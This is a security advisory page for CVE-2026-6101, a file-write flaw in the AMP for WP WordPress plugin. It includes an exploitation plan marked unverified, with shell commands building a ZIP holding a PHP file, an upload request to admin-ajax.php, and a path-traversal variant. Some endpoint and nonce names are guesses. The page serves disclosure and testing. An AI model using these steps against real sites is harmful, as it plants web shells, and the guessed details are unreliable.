CVE-2026-6101

AMP for WP <= 1.1.12 - Authenticated (Author+) Arbitrary File Write via Role-Based Access Configuration with Local Font Upload

highExternal Control of File Name or Path
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.1.13
Patched in
2d
Time to patch

Description

The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Arbitrary File Write in versions up to and including 1.1.12. This is due to unsafe ZIP file extraction in the ampforwp_save_local_font() function combined with inadequate cleanup that fails to remove nested directories and files. This makes it possible for authenticated attackers, with Author-level access and above, and permissions granted by an Administrator, to write arbitrary files to the server in a web-accessible location, potentially leading to remote code execution on hosts that execute PHP files in the uploads directory.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1.12
PublishedJuly 6, 2026
Last updatedJuly 7, 2026

What Changed in the Fix

Changes introduced in v1.1.13

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6101 ## 1. Vulnerability Summary The **AMP for WP** plugin (versions <= 1.1.12) contains an **Arbitrary File Write** vulnerability within the `ampforwp_save_local_font()` function. The vulnerability arises from unsafe extraction of ZIP archives combined with …

Show full research plan

Exploitation Research Plan - CVE-2026-6101

1. Vulnerability Summary

The AMP for WP plugin (versions <= 1.1.12) contains an Arbitrary File Write vulnerability within the ampforwp_save_local_font() function. The vulnerability arises from unsafe extraction of ZIP archives combined with an incomplete cleanup process. When a user uploads a ZIP file for a "Local Font," the plugin extracts its contents into a web-accessible directory (typically under wp-content/uploads/ampforwp-fonts/). If the archive contains non-font files (like PHP shells) or nested directories, the plugin's cleanup logic fails to recursively remove them, allowing the files to persist on the server.

This is exploitable by authenticated users with Author privileges or higher, provided that the Role Manager configuration in the plugin settings has been enabled by an Administrator to allow these roles access to the AMP settings panel.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: ampforwp_local_font_upload (inferred from function naming)
  • Parameter: font_zip (The multipart/form-data file upload)
  • Authentication: Author level or higher (Requires "Role Manager" to be configured to allow Authors access).
  • Preconditions:
    1. Plugin version <= 1.1.12 installed.
    2. An Administrator must enable "Author" access in AMP Settings > Role Manager.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with the action ampforwp_local_font_upload.
  2. Authorization: The handler checks if the current user has access to the AMP settings (which is true for Authors if the Role Manager is configured).
  3. Nonce Verification: The handler verifies a nonce (likely ampforwp_local_font_nonce).
  4. Sink (ampforwp_save_local_font()):
    • The function receives the uploaded ZIP file.
    • It defines a destination directory, usually wp-content/uploads/ampforwp-fonts/[unique_id]/.
    • It uses unzip_file() (WP Core) or ZipArchive::extractTo to unpack the ZIP.
    • Vulnerability: It fails to validate that the extracted files are strictly fonts (.ttf, .woff, etc.).
    • Cleanup Failure: If the plugin detects the upload is "invalid" or after processing, it attempts to delete the temporary extraction folder. However, it uses a non-recursive deletion method (like rmdir or a shallow unlink loop) that fails to remove nested directories or files with unexpected extensions, leaving the PHP payload on the disk.

4. Nonce Acquisition Strategy

The nonce is localized in the AMP settings page for users who have access to the dashboard.

  1. Prerequisite: An Administrator must grant the "Author" role access.
    • Command: wp option patch insert redux_builder_amp ampforwp-role-manager-author 1 (Simulating the UI toggle).
  2. Navigation: Navigate to the AMP options page as the Author user.
    • URL: /wp-admin/admin.php?page=ampforwp-options
  3. Extraction: Use browser_eval to extract the nonce from the ampforwp_ajax_obj JavaScript object (the standard localization object for this plugin).
    • JS Script: window.ampforwp_ajax_obj?.font_upload_nonce (or check window.ampforwp_obj).

5. Exploitation Strategy

Step 1: Payload Preparation

Create a ZIP file containing a PHP payload inside a subdirectory to bypass shallow cleanup.

mkdir -p poc_font/nested
echo "<?php echo 'CVE-2026-6101-Exploited'; phpinfo(); ?>" > poc_font/nested/shell.php
zip -r exploit.zip poc_font

Step 2: Role Manager Activation (Administrator)

Enable Author access to the settings panel.

  • Request: POST to wp-admin/admin-ajax.php with action redux_ajax_save or use WP-CLI:
    wp option patch update redux_builder_amp ampforwp-role-manager-author 1

Step 3: Nonce Extraction (Author)

Navigate to the AMP settings as Author and extract the nonce using:
browser_eval("ampforwp_ajax_obj.font_upload_nonce")

Step 4: Execute File Write

Send the multipart/form-data request to the AJAX endpoint.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (Multipart):
    • action: ampforwp_local_font_upload
    • font_zip: (Binary data of exploit.zip)
    • nonce: [EXTRACTED_NONCE]

Step 5: Trigger RCE

Access the uploaded file. The path is typically determined by the ZIP name or a timestamped folder.

  • Likely Path: /wp-content/uploads/ampforwp-fonts/poc_font/nested/shell.php

6. Test Data Setup

  1. User Creation: wp user create author_tester author@example.com --role=author --user_pass=password123
  2. Plugin Activation: wp plugin activate accelerated-mobile-pages
  3. Role Configuration: wp option patch insert redux_builder_amp ampforwp-role-manager-author 1
  4. Directory Check: Ensure wp-content/uploads is writable.

7. Expected Results

  • The AJAX response should return a status indicating the font upload was processed (possibly a failure message like "Invalid font file," which triggers the failed cleanup).
  • A PHP file should be written to wp-content/uploads/ampforwp-fonts/.
  • Accessing the PHP file via a GET request should return the string CVE-2026-6101-Exploited.

8. Verification Steps

  • HTTP Verification: http_request("GET", "http://localhost:8080/wp-content/uploads/ampforwp-fonts/poc_font/nested/shell.php")
  • CLI Verification: wp eval 'echo file_exists(WP_CONTENT_DIR . "/uploads/ampforwp-fonts/poc_font/nested/shell.php") ? "EXISTS" : "MISSING";'

9. Alternative Approaches

  • Path Traversal: If the extraction destination is relative to the ZIP content, attempt a filename like ../../shell.php inside the ZIP to write directly to the uploads/ root or the plugin directory.
  • Generic Settings Save: If ampforwp_local_font_upload is not the direct action, check if the typography settings are saved via the standard Redux AJAX save, and look for a font_zip handler within the Redux save pipeline.
  • Pre-authentication: Check if wp_ajax_nopriv_ampforwp_local_font_upload exists (unlikely given the description, but worth a quick grep).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.